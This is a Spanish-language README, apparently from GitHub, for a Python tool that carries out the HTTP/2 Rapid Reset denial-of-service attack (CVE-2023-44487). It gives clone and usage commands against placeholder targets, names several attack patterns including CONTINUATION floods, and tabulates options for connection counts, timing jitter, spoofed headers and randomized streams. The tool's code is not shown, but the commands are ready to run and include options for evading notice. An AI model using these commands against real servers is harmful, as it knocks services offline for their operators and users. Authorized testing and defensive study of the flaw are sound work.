
Herramienta de pruebas basada en Python para CVE-2023-44487 (HTTP/2 Rapid Reset) con múltiples patrones de ataque, configuración granular y monitoreo para evaluaciones de seguridad autorizadas.
Una herramienta integral de pruebas en Python para CVE-2023-44487, la vulnerabilidad de Rapid Reset en HTTP/2. Esta versión mejorada proporciona control granular sobre los parámetros de prueba, múltiples patrones de ataque y capacidades avanzadas de monitoreo.
¡Esta herramienta es SOLO para fines educativos y pruebas autorizadas!
CVE-2023-44487, también conocido como "HTTP/2 Rapid Reset", es una vulnerabilidad crítica en el protocolo HTTP/2 que permite a los atacantes:
Puntuación CVSS: 7.5 (Alta)
Impacto: Denegación de Servicio, Agotamiento de Recursos
git clone https://github.com/madhusudhan-in/CVE_2023_44487-Rapid_Reset.git
cd CVE_2023_44487-Rapid_Reset
chmod +x rapid_reset_test.py
python3 --version # Debe ser 3.7+
python3 rapid_reset_test.py https://servidor-objetivo.com
python3 rapid_reset_test.py https://objetivo.com \
--connections 50 \
--requests 1000 \
--delay 0 \
--pattern rapid_reset \
--track-latency \
--output json
python3 rapid_reset_test.py https://objetivo.com \
--pattern burst_reset \
--burst-size 5 \
--burst-delay 2.0 \
--custom-headers "User-Agent: Mozilla/5.0 (legitbot)" "Authorization: Bearer token123" \
--jitter 0.3
python3 rapid_reset_test.py https://objetivo.com \
--window-size 32768 \
--frame-size 32768 \
--header-table-size 8192 \
--enable-push \
--priority-frames \
--randomize-streams
python3 rapid_reset_test.py https://objetivo.com \
--connections 10 \
--requests 200 \
--pattern mixed_pattern \
--track-latency \
--track-responses \
--monitor-memory \
--verbose \
--debug \
--log-file attack.log
python3 rapid_reset_test.py https://objetivo.com \
--pattern continuation_flood \
--requests 50 \
--random-headers \
--header-count 20
| Opción | Descripción | Predeterminado |
|---|---|---|
-c, --connections N | Número de conexiones concurrentes | 1 |
--connection-timeout SEC | Tiempo de espera de conexión en segundos | 10 |
--read-timeout SEC | Tiempo de espera de lectura para respuestas | 5 |
--connection-delay SEC | Retraso entre conexiones | 0.0 |
| Opción | Descripción | Predeterminado |
|---|---|---|
-r, --requests N | Solicitudes por conexión | 100 |
--delay SEC | Retraso entre HEADERS y RST_STREAM | 0.001 |
--request-delay SEC | Retraso entre solicitudes | 0.0 |
--jitter FACTOR | Factor de aleatorización de temporización | 0.0 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--pattern TYPE | Patrón de ataque a utilizar | rapid_reset |
--burst-size N | Solicitudes por ráfaga | 10 |
--burst-delay SEC | Retraso entre ráfagas | 0.1 |
Patrones Disponibles:
rapid_reset - Ataque estándar de reset rápidoburst_reset - Ataques basados en ráfagasgradual_reset - Tasa que aumenta gradualmenterandom_reset - Temporización aleatoriacontinuation_flood - Inundación de tramas CONTINUATIONmixed_pattern - Mezcla de patrones| Opción | Descripción | Predeterminado |
|---|---|---|
--window-size BYTES | Tamaño inicial de ventana HTTP/2 | 65535 |
--frame-size BYTES | Tamaño máximo de trama | 16384 |
--header-table-size BYTES | Tamaño de tabla de cabeceras HPACK | 4096 |
--enable-push | Habilitar push del servidor HTTP/2 | False |
--rst-error-code CODE | Código de error RST_STREAM | 8 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--custom-headers HEADER | Cabeceras personalizadas (Nombre: Valor) | None |
--random-headers | Generar cabeceras aleatorias | False |
--header-count N | Número de cabeceras aleatorias | 5 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--randomize-streams | Usar IDs de flujo aleatorios | False |
--priority-frames | Incluir información de prioridad | False |
--continue-on-error | Continuar después de errores | True |
--max-errors N | Máximo de errores antes de detenerse | 10 |
| Opción | Descripción | Predeterminado |
|---|---|---|
--track-latency | Rastrear latencia de solicitudes | False |
--track-responses | Rastrear respuestas del servidor | False |
--monitor-memory | Monitorear uso de memoria | False |